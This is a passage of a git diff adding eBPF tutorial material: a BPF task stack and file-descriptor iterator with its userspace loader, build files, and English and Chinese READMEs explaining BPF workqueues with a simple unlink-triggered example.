bpf_get_task_stack(task, entries, + MAX_STACK_TRACE_DEPTH * SIZE_OF_ULONG, 0); + if (retlen < 0) + return 0; + + stacks_shown++; + + /* Print task info and stack trace */ + BPF_SEQ_PRINTF(seq, "=== Task: %s (pid=%u, tgid=%u) ===\n", + task->comm, task->pid, task->tgid); + BPF_SEQ_PRINTF(seq, "Stack depth: %u frames\n", retlen / SIZE_OF_ULONG); + + for (i = 0; i < MAX_STACK_TRACE_DEPTH; i++) { + if (retlen > i * SIZE_OF_ULONG) + BPF_SEQ_PRINTF(seq, " [%2ld] %pB\n", i, (void *)entries[i]); + } + BPF_SEQ_PRINTF(seq, "\n"); + + return 0; +} + +/* Task file descriptor iterator */ +SEC("iter/task_file") +int dump_task_file(struct bpf_iter__task_file *ctx) +{ + struct seq_file *seq = ctx->meta->seq; + struct task_struct *task = ctx->task; + struct file *file = ctx->file; + __u32 fd = ctx->fd; + long i; + int match = 1; + + if (task == (void *)0 || file == (void *)0) { + if (files_shown > 0 && ctx->meta->seq_num > 0) { + BPF_SEQ_PRINTF(seq, "\n=== Summary: %u file descriptors shown ===\n", + files_shown); + } + return 0; + } + + /* Filter by task name if specified */ + if (target_comm[0] != '\0') { + match = 0; + for (i = 0; i < 16; i++) { + if (task->comm[i] != target_comm[i]) + break; + if (task->comm[i] == '\0') { + match = 1; + break; + } + } + if (!match) + return 0; + } + + if (ctx->meta->seq_num == 0) { + BPF_SEQ_PRINTF(seq, "%-16s %8s %8s %6s %s\n", + "COMM", "TGID", "PID", "FD", "FILE_OPS"); + } + + files_shown++; + + BPF_SEQ_PRINTF(seq, "%-16s %8d %8d %6d 0x%lx\n", + task->comm, task->tgid, task->pid, fd, + (long)file->f_op); + + return 0; +} diff --git a/src/features/bpf_iters/task_stack.c b/src/features/bpf_iters/task_stack.c new file mode 100644 index 00000000..d4c9da16 --- /dev/null +++ b/src/features/bpf_iters/task_stack.c @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Userspace program for task stack and file iterator */ +#include +#include +#include +#include +#include +#include "task_stack.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static void run_iterator(const char *name, struct bpf_program *prog) +{ + struct bpf_link *link; + int iter_fd, len; + char buf[8192]; + + link = bpf_program__attach_iter(prog, NULL); + if (!link) { + fprintf(stderr, "Failed to attach %s iterator\n", name); + return; + } + + iter_fd = bpf_iter_create(bpf_link__fd(link)); + if (iter_fd < 0) { + fprintf(stderr, "Failed to create %s iterator: %d\n", name, iter_fd); + bpf_link__destroy(link); + return; + } + + while ((len = read(iter_fd, buf, sizeof(buf) - 1)) > 0) { + buf[len] = '\0'; + printf("%s", buf); + } + + close(iter_fd); + bpf_link__destroy(link); +} + +int main(int argc, char **argv) +{ + struct task_stack_bpf *skel; + int err; + int show_files = 0; + + libbpf_set_print(libbpf_print_fn); + + /* Parse arguments */ + if (argc > 1 && strcmp(argv[1], "--files") == 0) { + show_files = 1; + argc--; + argv++; + } + + /* Open BPF application */ + skel = task_stack_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Configure filter before loading */ + if (argc > 1) { + strncpy(skel->bss->target_comm, argv[1], sizeof(skel->bss->target_comm) - 1); + printf("Filtering for tasks matching: %s\n\n", argv[1]); + } else { + printf("Usage: %s [--files] [comm]\n", argv[0]); + printf(" --files Show open file descriptors instead of stacks\n"); + printf(" comm Filter by process name\n\n"); + } + + /* Load BPF program */ + err = task_stack_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton\n"); + goto cleanup; + } + + if (show_files) { + printf("=== BPF Task File Descriptor Iterator ===\n\n"); + run_iterator("task_file", skel->progs.dump_task_file); + } else { + printf("=== BPF Task Stack Iterator ===\n\n"); + run_iterator("task", skel->progs.dump_task_stack); + } + +cleanup: + task_stack_bpf__destroy(skel); + return err; +} diff --git a/src/features/bpf_wq/.config b/src/features/bpf_wq/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/features/bpf_wq/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/features/bpf_wq/.gitignore b/src/features/bpf_wq/.gitignore new file mode 100644 index 00000000..5850c720 --- /dev/null +++ b/src/features/bpf_wq/.gitignore @@ -0,0 +1,12 @@ +# Build artifacts +.output/ +*.o +*.skel.h + +# Generated binaries +wq_simple + +# Editor files +*.swp +*~ +.vscode/ diff --git a/src/features/bpf_wq/Makefile b/src/features/bpf_wq/Makefile new file mode 100644 index 00000000..9d5fca43 --- /dev/null +++ b/src/features/bpf_wq/Makefile @@ -0,0 +1,112 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) -I. +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = wq_simple + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/features/bpf_wq/README.md b/src/features/bpf_wq/README.md new file mode 100644 index 00000000..882f8b1c --- /dev/null +++ b/src/features/bpf_wq/README.md @@ -0,0 +1,289 @@ +# eBPF Tutorial: BPF Workqueues for Asynchronous Sleepable Tasks + +Ever needed your eBPF program to sleep, allocate memory, or wait for device I/O? Traditional eBPF programs run in restricted contexts where blocking operations crash the system. But what if your HID device needs timing delays between injected key events, or your cleanup routine needs to sleep while freeing resources? + +This is what **BPF Workqueues** enable. Created by Benjamin Tissoires at Red Hat in 2024 for HID-BPF device handling, workqueues let you schedule asynchronous work that runs in process context where sleeping and blocking operations are allowed. In this tutorial, we'll explore why workqueues were created, how they differ from timers, and build a complete example demonstrating async callback execution. + +> The complete source code: + +## Introduction to BPF Workqueues: Solving the Sleep Problem + +### The Problem: When eBPF Can't Sleep + +Before BPF workqueues existed, developers had `bpf_timer` for deferred execution. Timers work great for scheduling callbacks after a delay, perfect for updating counters or triggering periodic events. But there's a fundamental limitation that made timers unusable for certain critical use cases: **bpf_timer runs in softirq (software interrupt) context**. + +Softirq context has strict rules enforced by the kernel. You cannot sleep or wait for I/O - any attempt to do so will cause kernel panics or deadlocks. You cannot allocate memory using `kzalloc()` with `GFP_KERNEL` flag because memory allocation might need to wait for pages. You cannot communicate with hardware devices that require waiting for responses. Essentially, you cannot perform any blocking operations that might cause the CPU to wait. + +This limitation became a real problem for Benjamin Tissoires at Red Hat when he was developing HID-BPF in 2023. HID devices (keyboards, mice, tablets, game controllers) frequently need operations that timers simply can't handle. Imagine implementing keyboard macro functionality where pressing F1 types "hello" - you need 10ms delays between each keystroke for the system to properly process events. Or consider a device with buggy firmware that needs re-initialization after system wake - you must send commands and wait for hardware responses. Timer callbacks in softirq context can't do any of this. + +As Benjamin Tissoires explained in his kernel patches: "I need something similar to bpf_timers, but not in soft IRQ context... the bpf_timer functionality would prevent me to kzalloc and wait for the device." + +### The Solution: Process Context Execution + +In early 2024, Benjamin proposed and developed **bpf_wq** - essentially "bpf_timer but in process context instead of softirq." The kernel community merged it into Linux v6.10+ in April 2024. The key insight is simple but powerful: by running callbacks in process context (through the kernel's workqueue infrastructure), BPF programs gain access to the full range of kernel operations. + +Here's what changes with process context: + +| Feature | bpf_timer (softirq) | bpf_wq (process) | +|---------|---------------------|------------------| +| **Can sleep?** | ❌ No - will crash | ✅ Yes - safe to sleep | +| **Memory allocation** | ❌ Limited flags only | ✅ Full `kzalloc()` support | +| **Device I/O** | ❌ Cannot wait | ✅ Can wait for responses | +| **Blocking operations** | ❌ Prohibited | ✅ Fully supported | +| **Latency** | Very low (microseconds) | Higher (milliseconds) | +| **Use case** | Time-critical fast path | Sleepable slow path | + +Workqueues enable the classic "fast path + slow path" pattern. Your eBPF program handles performance-critical operations immediately in the fast path, then schedules expensive cleanup or I/O operations to run asynchronously in the slow path. The fast path stays responsive while the slow path gets the capabilities it needs. + +### Real-World Applications + +The applications span multiple domains. **HID device handling** was the original motivation - injecting keyboard macros with timing delays, fixing broken device firmware dynamically without kernel drivers, re-initializing devices after wake from sleep, transforming input events on the fly. All these require sleepable operations that only workqueues can provide. + +**Network packet processing** benefits from async cleanup patterns. Your XDP program enforces rate limits and drops packets in the fast path (non-blocking), while a workqueue cleans up stale tracking entries in the background. This prevents memory leaks without impacting packet processing performance. + +**Security monitoring** can apply fast rules immediately, then use workqueues to query reputation databases or external threat intelligence services. The fast path makes instant decisions while the slow path updates policies based on complex analysis. + +**Resource cleanup** defers expensive operations. Instead of blocking the main code path while freeing memory, closing connections, or compacting data structures, you schedule a workqueue to handle cleanup in the background. + +## Implementation: Simple Workqueue Test + +Let's build a complete example that demonstrates the workqueue lifecycle. We'll create a program that triggers on the `unlink` syscall, schedules async work, and verifies that both the main path and workqueue callback execute correctly. + +### Complete BPF Program: wq_simple.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Simple BPF workqueue example */ +#include +#include +#include "bpf_experimental.h" + +char LICENSE[] SEC("license") = "GPL"; + +/* Element with embedded workqueue */ +struct elem { + int value; + struct bpf_wq work; +}; + +/* Array to store our element */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, int); + __type(value, struct elem); +} array SEC(".maps"); + +/* Result variables */ +__u32 wq_executed = 0; +__u32 main_executed = 0; + +/* Workqueue callback - runs asynchronously in workqueue context */ +static int wq_callback(void *map, int *key, void *value) +{ + struct elem *val = value; + /* This runs later in workqueue context */ + wq_executed = 1; + val->value = 42; /* Modify the value asynchronously */ + return 0; +} + +/* Main program - schedules work */ +SEC("fentry/do_unlinkat") +int test_workqueue(void *ctx) +{ + struct elem init = {.value = 0}, *val; + struct bpf_wq *wq; + int key = 0; + + main_executed = 1; + + /* Initialize element in map */ + bpf_map_update_elem(&array, &key, &init, 0); + + /* Get element from map */ + val = bpf_map_lookup_elem(&array, &key); + if (!val) + return 0; + + /* Initialize workqueue */ + wq = &val->work; + if (bpf_wq_init(wq, &array, 0) != 0) + return 0; + + /* Set callback function */ + if (bpf_wq_set_callback(wq, wq_callback, 0)) + return 0; + + /* Schedule work to run asynchronously */ + if (bpf_wq_start(wq, 0)) + return 0; + + return 0; +} +``` + +### Understanding the BPF Code + +The program demonstrates the complete workqueue workflow from initialization through async execution. We start by defining a structure that embeds a workqueue. The `struct elem` contains both application data (`value`) and the workqueue handle (`struct bpf_wq work`). This embedding pattern is critical - the workqueue infrastructure needs to know which map contains the workqueue structure, and embedding it in the map value establishes this relationship. + +Our map is a simple array with one entry, chosen for simplicity in this example. In production code, you'd typically use hash maps to track multiple entities, each with its own embedded workqueue. The global variables `wq_executed` and `main_executed` serve as test instrumentation, letting userspace verify that both code paths ran. + +The workqueue callback shows the signature that all workqueue callbacks must follow: `int callback(void *map, int *key, void *value)`. The kernel invokes this function asynchronously in process context, passing the map containing the workqueue, the key of the entry, and a pointer to the value. This signature gives the callback full context about which element triggered it and access to the element's data. Our callback sets `wq_executed = 1` to prove it ran, and modifies `val->value = 42` to demonstrate that async modifications persist in the map. + +The main program attached to `fentry/do_unlinkat` triggers whenever the `unlink` syscall executes. This gives us an easy way to activate the program - userspace just needs to delete a file. We set `main_executed = 1` immediately to mark the synchronous path. Then we initialize an element and store it in the map using `bpf_map_update_elem()`. This is necessary because the workqueue must be embedded in a map entry. + +The workqueue initialization follows a three-step sequence. First, `bpf_wq_init(wq, &array, 0)` initializes the workqueue handle, passing the map that contains it. The verifier uses this information to validate that the workqueue and its container are properly related. Second, `bpf_wq_set_callback(wq, wq_callback, 0)` registers our callback function. The verifier checks that the callback has the correct signature. Third, `bpf_wq_start(wq, 0)` schedules the workqueue to execute asynchronously. This call returns immediately - the main program continues executing while the kernel queues the work for later execution in process context. + +The flags parameter in all three functions is reserved for future use and should be 0 in current kernels. The pattern allows future extensions without breaking API compatibility. + +### Complete User-Space Program: wq_simple.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Userspace test for BPF workqueue */ +#include +#include +#include +#include +#include +#include "wq_simple.skel.h" + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +int main(int argc, char **argv) +{ + struct wq_simple_bpf *skel; + int err, fd; + + libbpf_set_print(libbpf_print_fn); + + /* Open and load BPF application */ + skel = wq_simple_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Attach tracepoint handler */ + err = wq_simple_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + goto cleanup; + } + + printf("BPF workqueue program attached. Triggering unlink syscall...\n"); + + /* Create a temporary file to trigger do_unlinkat */ + fd = open("/tmp/wq_test_file", O_CREAT | O_WRONLY, 0644); + if (fd >= 0) { + close(fd); + unlink("/tmp/wq_test_file"); + } + + /* Give workqueue time to execute */ + sleep(1); + + /* Check results */ + printf("\nResults:\n"); + printf(" main_executed = %u (expected: 1)\n", skel->bss->main_executed); + printf(" wq_executed = %u (expected: 1)\n", skel->bss->wq_executed); + + if (skel->bss->main_executed == 1 && skel->bss->wq_executed == 1) { + printf("\n✓ Test PASSED!\n"); + } else { + printf("\n✗ Test FAILED!\n"); + err = 1; + } + +cleanup: + wq_simple_bpf__destroy(skel); + return err; +} +``` + +### Understanding the User-Space Code + +The userspace program orchestrates the test and verifies results. We use the skeleton API from libbpf which embeds the compiled BPF bytecode in a C structure, making loading trivial. The `wq_simple_bpf__open_and_load()` call compiles (if needed), loads the BPF program into the kernel, and creates all maps in one operation. + +After loading, `wq_simple_bpf__attach()` attaches the fentry program to `do_unlinkat`. From this point, any unlink syscall will trigger our BPF program. We deliberately trigger this by creating and immediately deleting a temporary file. The `open()` creates `/tmp/wq_test_file`, we close the fd, then `unlink()` deletes it. This deletion enters the kernel's `do_unlinkat` function, triggering our fentry probe. + +Here's the critical timing aspect: workqueue execution is asynchronous. Our main BPF program schedules the work and returns immediately. The kernel queues the callback for later execution by a kernel worker thread. This is why we `sleep(1)` - giving the workqueue time to execute before we check results. In production code, you'd use more sophisticated synchronization, but for a simple test, sleep is sufficient. + +After the sleep, we read global variables from the BPF program's `.bss` section. The skeleton provides convenient access through `skel->bss->main_executed` and `skel->bss->wq_executed`. If both are 1, we know the synchronous path (fentry) and async path (workqueue callback) both executed successfully. + +## Understanding Workqueue APIs + +The workqueue API consists of three essential functions that manage the lifecycle. **`bpf_wq_init(wq, map, flags)`** initializes a workqueue handle, establishing the relationship between the workqueue and its containing map. The map parameter is crucial - it tells the verifier which map contains the value with the embedded `bpf_wq` structure. The verifier uses this to ensure memory safety across async execution. Flags should be 0 in current kernels. + +**`bpf_wq_set_callback(wq, callback_fn, flags)`** registers the function to execute asynchronously. The callback must have the signature `int callback(void *map, int *key, void *value)`. The verifier checks this signature at load time and will reject programs with mismatched signatures. This type safety prevents common async programming errors. Flags should be 0. + +**`bpf_wq_start(wq, flags)`** schedules the workqueue to run. This returns immediately - your BPF program continues executing synchronously. The kernel queues the callback for execution by a worker thread in process context at some point in the future. The callback might run microseconds or milliseconds later depending on system load. Flags should be 0. + +The callback signature deserves attention. Unlike `bpf_timer` callbacks which receive `(void *map, __u32 *key, void *value)`, workqueue callbacks receive `(void *map, int *key, void *value)`. Note the key type difference - `int *` vs `__u32 *`. This reflects the evolution of the API and must be matched exactly or the verifier rejects your program. The callback runs in process context, so it can safely perform operations that would crash in softirq context. + +## When to Use Workqueues vs Timers + +Choose **bpf_timer** when you need microsecond-precision timing, operations are fast and non-blocking, you're updating counters or simple state, or implementing periodic fast-path operations like statistics collection or packet pacing. Timers excel at time-critical tasks that must execute with minimal latency. + +Choose **bpf_wq** when you need to sleep or wait, allocate memory with `kzalloc()`, perform device or network I/O, or defer cleanup operations that can happen later. Workqueues are perfect for the "fast path + slow path" pattern where critical operations happen immediately and expensive processing runs asynchronously. Examples include HID device I/O (keyboard macro injection with delays), async map cleanup (preventing memory leaks), security policy updates (querying external databases), and background processing (compression, encryption, aggregation). + +The fundamental trade-off is latency vs capability. Timers have lower latency but restricted capabilities. Workqueues have higher latency but full process context capabilities including sleeping and blocking I/O. + +## Compilation and Execution + +Navigate to the bpf_wq directory and build: + +```bash +cd bpf-developer-tutorial/src/features/bpf_wq +make +``` + +The Makefile compiles the BPF program with the experimental workqueue features enabled and generates a skeleton header. + +Run the simple workqueue test: + +```bash +sudo ./wq_simple +``` + +Expected output: + +``` +BPF workqueue program attached. Triggering unlink syscall... + +Results: + main_executed = 1 (expected: 1) + wq_executed = 1 (expected: 1) + +✓ Test PASSED! +``` + +The test verifies that both the synchronous fentry probe and the asynchronous workqueue callback executed successfully. If the workqueue callback didn't run, `wq_executed` would be 0 and the test would fail. + +## Historical Timeline and Context + +Understanding how workqueues came to exist helps appreciate their design. In 2022, Benjamin Tissoires started work on HID-BPF, aiming to let users fix broken HID devices without kernel drivers. By 2023, he realized `bpf_timer` limitations made HID device I/O impossible - you can't wait for hardware responses in softirq context. In early 2024, he proposed `bpf_wq` as "bpf_timer in process context," collaborating with the BPF community on the design. The kernel merged workqueues in April 2024 as part of Linux v6.10. Since then, they've been used for HID quirks, rate limiting, async cleanup, and other sleepable operations. + +The key quote from Benjamin's patches captures the motivation perfectly: "I need something similar to bpf_timers, but not in soft IRQ context... the bpf_timer functionality would prevent me to kzalloc and wait for the device." + +This real-world need drove the design. Workqueues exist because device handling and resource management require sleepable, blocking operations that timers fundamentally cannot provide. + +## Summary and Next Steps + +BPF workqueues solve a fundamental limitation of eBPF by enabling sleepable, blocking operations in process context. Created specifically to support HID device handling where timing delays and device I/O are essential, workqueues unlock powerful new capabilities for eBPF programs. They enable the "fast path + slow path" pattern where performance-critical operations execute immediately while expensive cleanup and I/O happen asynchronously without blocking. + +Our simple example demonstrates the core workqueue lifecycle: embedding a `bpf_wq` in a map value, initializing and configuring it, scheduling async execution, and verifying the callback runs in process context. This same pattern scales to production use cases like network rate limiting with async cleanup, security monitoring with external service queries, and device handling with I/O operations. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## References + +- **Original Kernel Patches:** Benjamin Tissoires' HID-BPF and bpf_wq patches (2023-2024) +- **Linux Kernel Source:** `kernel/bpf/helpers.c` - workqueue implementation +- **Tutorial Repository:** + +Example adapted from Linux kernel BPF selftests with educational enhancements. Requires Linux kernel 6.10+ for workqueue support. Complete source code available in the tutorial repository. diff --git a/src/features/bpf_wq/README.zh.md b/src/features/bpf_wq/README.zh.md new file mode 100644 index 00000000..7505b689 --- /dev/null +++ b/src/features/bpf_wq/README.zh.md @@ -0,0 +1,287 @@ +# eBPF 教程:BPF 工作队列用于异步可睡眠任务 + +你是否曾经需要你的 eBPF 程序睡眠、分配内存或等待设备 I/O?传统的 eBPF 程序在受限的上下文中运行,阻塞操作会导致系统崩溃。但是,如果你的 HID 设备需要在注入的按键事件之间进行时序延迟,或者你的清理例程需要在释放资源时睡眠怎么办? + +这就是 **BPF 工作队列**所实现的功能。由 Red Hat 的 Benjamin Tissoires 于 2024 年为 HID-BPF 设备处理而创建,工作队列让你可以调度在进程上下文中运行的异步工作,在那里允许睡眠和阻塞操作。在本教程中,我们将探讨为什么创建工作队列、它们与定时器有何不同,并构建一个演示异步回调执行的完整示例。 + +## BPF 工作队列简介:解决睡眠问题 + +### 问题:当 eBPF 无法睡眠时 + +在 BPF 工作队列出现之前,开发者有 `bpf_timer` 用于延迟执行。定时器非常适合在延迟后调度回调,非常适合更新计数器或触发周期性事件。但有一个根本性的限制使得定时器对某些关键用例不可用:**bpf_timer 在 softirq(软件中断)上下文中运行**。 + +Softirq 上下文有内核强制执行的严格规则。你不能睡眠或等待 I/O - 任何这样做的尝试都会导致内核恐慌或死锁。你不能使用 `GFP_KERNEL` 标志的 `kzalloc()` 分配内存,因为内存分配可能需要等待页面。你不能与需要等待响应的硬件设备通信。本质上,你不能执行任何可能导致 CPU 等待的阻塞操作。 + +这个限制在 Red Hat 的 Benjamin Tissoires 于 2023 年开发 HID-BPF 时成为一个真正的问题。HID 设备(键盘、鼠标、平板电脑、游戏控制器)经常需要定时器根本无法处理的操作。想象一下实现键盘宏功能,按下 F1 输入 "hello" - 你需要在每次按键之间延迟 10ms,以便系统正确处理事件。或者考虑一个固件有问题的设备,在系统唤醒后需要重新初始化 - 你必须发送命令并等待硬件响应。softirq 上下文中的定时器回调无法做到这一切。 + +正如 Benjamin Tissoires 在他的内核补丁中解释的那样:"我需要类似于 bpf_timers 的东西,但不在软 IRQ 上下文中……bpf_timer 功能会阻止我 kzalloc 并等待设备。" + +### 解决方案:进程上下文执行 + +2024 年初,Benjamin 提出并开发了 **bpf_wq** - 本质上是"在进程上下文而不是 softirq 中的 bpf_timer"。内核社区在 2024 年 4 月将其合并到 Linux v6.10+ 中。关键见解简单但强大:通过在进程上下文中运行回调(通过内核的工作队列基础设施),BPF 程序可以访问全套内核操作。 + +以下是进程上下文的变化: + +| 功能 | bpf_timer (softirq) | bpf_wq (进程) | +|---------|---------------------|------------------| +| **可以睡眠?** | ❌ 否 - 会崩溃 | ✅ 是 - 安全睡眠 | +| **内存分配** | ❌ 仅限有限标志 | ✅ 完整 `kzalloc()` 支持 | +| **设备 I/O** | ❌ 不能等待 | ✅ 可以等待响应 | +| **阻塞操作** | ❌ 禁止 | ✅ 完全支持 | +| **延迟** | 非常低(微秒) | 较高(毫秒) | +| **用例** | 时间关键快速路径 | 可睡眠慢速路径 | + +工作队列启用了经典的"快速路径 + 慢速路径"模式。你的 eBPF 程序在快速路径中立即处理性能关键操作,然后调度昂贵的清理或 I/O 操作在慢速路径中异步运行。快速路径保持响应性,而慢速路径获得所需的能力。 + +### 实际应用 + +应用跨越多个领域。**HID 设备处理**是最初的动机 - 注入带时序延迟的键盘宏、无需内核驱动程序即可动态修复损坏的设备固件、从睡眠中唤醒后重新初始化设备、即时转换输入事件。所有这些都需要只有工作队列才能提供的可睡眠操作。 + +**网络数据包处理**受益于异步清理模式。你的 XDP 程序在快速路径中执行速率限制并丢弃数据包(非阻塞),而工作队列在后台清理过时的跟踪条目。这可以防止内存泄漏而不影响数据包处理性能。 + +**安全监控**可以立即应用快速规则,然后使用工作队列查询信誉数据库或外部威胁情报服务。快速路径做出即时决策,而慢速路径根据复杂分析更新策略。 + +**资源清理**推迟昂贵的操作。与其在释放内存、关闭连接或压缩数据结构时阻塞主代码路径,不如调度工作队列在后台处理清理。 + +## 实现:简单的工作队列测试 + +让我们构建一个演示工作队列生命周期的完整示例。我们将创建一个在 `unlink` 系统调用上触发、调度异步工作并验证主路径和工作队列回调都正确执行的程序。 + +### 完整的 BPF 程序:wq_simple.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Simple BPF workqueue example */ +#include +#include +#include "bpf_experimental.h" + +char LICENSE[] SEC("license") = "GPL"; + +/* Element with embedded workqueue */ +struct elem { + int value; + struct bpf_wq work; +}; + +/* Array to store our element */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, int); + __type(value, struct elem); +} array SEC(".maps"); + +/* Result variables */ +__u32 wq_executed = 0; +__u32 main_executed = 0; + +/* Workqueue callback - runs asynchronously in workqueue context */ +static int wq_callback(void *map, int *key, void *value) +{ + struct elem *val = value; + /* This runs later in workqueue context */ + wq_executed = 1; + val->value = 42; /* Modify the value asynchronously */ + return 0; +} + +/* Main program - schedules work */ +SEC("fentry/do_unlinkat") +int test_workqueue(void *ctx) +{ + struct elem init = {.value = 0}, *val; + struct bpf_wq *wq; + int key = 0; + + main_executed = 1; + + /* Initialize element in map */ + bpf_map_update_elem(&array, &key, &init, 0); + + /* Get element from map */ + val = bpf_map_lookup_elem(&array, &key); + if (!val) + return 0; + + /* Initialize workqueue */ + wq = &val->work; + if (bpf_wq_init(wq, &array, 0) != 0) + return 0; + + /* Set callback function */ + if (bpf_wq_set_callback(wq, wq_callback, 0)) + return 0; + + /* Schedule work to run asynchronously */ + if (bpf_wq_start(wq, 0)) + return 0; + + return 0; +} +``` + +### 理解 BPF 代码 + +程序演示了从初始化到异步执行的完整工作队列工作流程。我们首先定义一个嵌入工作队列的结构。`struct elem` 包含应用数据(`value`)和工作队列句柄(`struct bpf_wq work`)。这种嵌入模式至关重要 - 工作队列基础设施需要知道哪个 map 包含工作队列结构,将其嵌入到 map 值中建立了这种关系。 + +我们的 map 是一个只有一个条目的简单数组,为了本例的简单性而选择。在生产代码中,你通常会使用哈希 map 来跟踪多个实体,每个实体都有自己的嵌入式工作队列。全局变量 `wq_executed` 和 `main_executed` 作为测试工具,让用户空间验证两个代码路径都运行了。 + +工作队列回调显示了所有工作队列回调必须遵循的签名:`int callback(void *map, int *key, void *value)`。内核在进程上下文中异步调用此函数,传递包含工作队列的 map、条目的键和指向值的指针。这个签名为回调提供了关于哪个元素触发它的完整上下文以及对元素数据的访问。我们的回调设置 `wq_executed = 1` 来证明它运行了,并修改 `val->value = 42` 来演示异步修改在 map 中持久化。 + +附加到 `fentry/do_unlinkat` 的主程序在 `unlink` 系统调用执行时触发。这为我们提供了一种简单的方法来激活程序 - 用户空间只需删除一个文件。我们立即设置 `main_executed = 1` 来标记同步路径。然后我们初始化一个元素并使用 `bpf_map_update_elem()` 将其存储在 map 中。这是必要的,因为工作队列必须嵌入在 map 条目中。 + +工作队列初始化遵循三步序列。首先,`bpf_wq_init(wq, &array, 0)` 初始化工作队列句柄,传递包含它的 